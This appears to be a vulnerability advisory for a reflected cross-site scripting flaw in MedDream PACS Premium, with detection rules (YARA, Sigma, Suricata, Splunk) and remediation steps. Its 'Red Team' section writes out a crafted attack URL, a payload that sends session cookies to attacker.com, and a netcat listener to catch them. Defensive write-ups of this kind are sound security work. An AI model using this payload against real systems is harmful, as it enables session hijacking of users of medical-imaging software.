CVE-2025-54778

Executive Summary

CVE-2025-54778 is a reflected cross-site scripting (XSS) vulnerability in MedDream PACS Premium version 7.3.6.870. The flaw resides in the existingUser functionality, allowing an attacker to inject arbitrary JavaScript code via a specially crafted URL. With a CVSS score of 6.1 (Medium), this vulnerability requires user interaction but no authentication, making it a viable vector for phishing or credential theft in healthcare environments. No patch is currently available, and exploitation is considered trivial.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary medical imaging software (PACS) from MedDream. No open-source supply chain implications exist.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – Impact extends beyond vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is 6.1, the lack of a patch and the sensitive nature of medical data elevate the risk in healthcare environments.

Deep Dive & Mechanics

The vulnerability exists in the existingUser functionality of MedDream PACS Premium. This feature likely handles user lookup or validation, reflecting user-supplied input (e.g., a username parameter) directly into the HTML response without proper sanitization or encoding.

Attack Flow:

1. An attacker crafts a malicious URL containing JavaScript payload in the vulnerable parameter (e.g., ?username=<script>alert('XSS')</script>).
2. The attacker lures a victim (e.g., via phishing email) to click the link.
3. The victim’s browser executes the injected script in the context of the MedDream PACS application.
4. The script can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Root Cause: Lack of output encoding or input validation in the server-side code handling the existingUser request.

Vulnerable vs. Patched Code

Since no patch is available, the following represents the likely vulnerable pattern and a secure alternative.

Vulnerable Code (Conceptual):

# Vulnerable: Direct reflection of user input
def existing_user(request):
    username = request.GET.get('username')
    return HttpResponse(f"<div>User: {username}</div>")

Patched Code (Conceptual):

# Patched: Proper output encoding
from html import escape

def existing_user(request):
    username = request.GET.get('username')
    safe_username = escape(username)
    return HttpResponse(f"<div>User: {safe_username}</div>")

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• MedDream PACS Premium 7.3.6.870 running on a target.
• A victim with access to the application.

Exploit Payload:

<script>alert('XSS')</script>

Crafted URL:

http://target-pacs.com/existingUser?username=<script>alert('XSS')</script>

Advanced Payload (Cookie Theft):

<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

Usage:

1. Host a listener on attacker machine: nc -lvnp 80
2. Send the crafted URL to the victim.
3. Capture the cookie when the victim clicks.

Blue Team (Defender)

Detection:

• Monitor web logs for suspicious parameters containing <script>, onerror, onload, or base64-encoded JavaScript.
• Use WAF rules to block reflected XSS patterns.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search uri="/existingUser*" AND (uri_query=*<script>* OR uri_query=*onerror*)
| table _time, src_ip, uri, uri_query, user_agent

Indicators of Compromise (IOCs)

• URL Patterns: /existingUser?username=*<script>*
• Network Traffic: Outbound HTTP requests to attacker-controlled domains from the PACS server.
• Log Entries: GET /existingUser?username=<script>... with unusual user agents.
• File Artifacts: Temporary files in browser cache containing XSS payloads.

Detection Engineering

YARA Rule

rule CVE_2025_54778_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against MedDream PACS existingUser endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-54778"
    strings:
        $xss1 = "/existingUser?username="
        $xss2 = "<script>"
        $xss3 = "onerror="
        $xss4 = "onload="
        $xss5 = "javascript:"
    condition:
        all of ($xss1, $xss2) or all of ($xss1, $xss3) or all of ($xss1, $xss4) or all of ($xss1, $xss5)
}

Sigma Rule

title: Reflected XSS Attempt Against MedDream PACS existingUser
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting the existingUser endpoint of MedDream PACS Premium
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/existingUser?username="
        cs-uri-query|contains|any:
            - "<script>"
            - "onerror="
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate user input containing similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54778 MedDream PACS Reflected XSS Attempt"; flow:to_server,established; content:"/existingUser?username="; http_uri; content:"<script>"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the MedDream PACS server from untrusted networks if possible.
2. Implement WAF rules to block reflected XSS patterns (e.g., ModSecurity rule for existingUser).
3. Educate users about phishing risks and not clicking suspicious links.

Long-Term Fix:

• Contact MedDream for an official patch.
• If source code is available, apply output encoding to all user-supplied input in the existingUser endpoint.
• Conduct a full security audit of the application.

Workaround:

• Disable the existingUser functionality if not critical.
• Use a reverse proxy to sanitize input before reaching the application.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert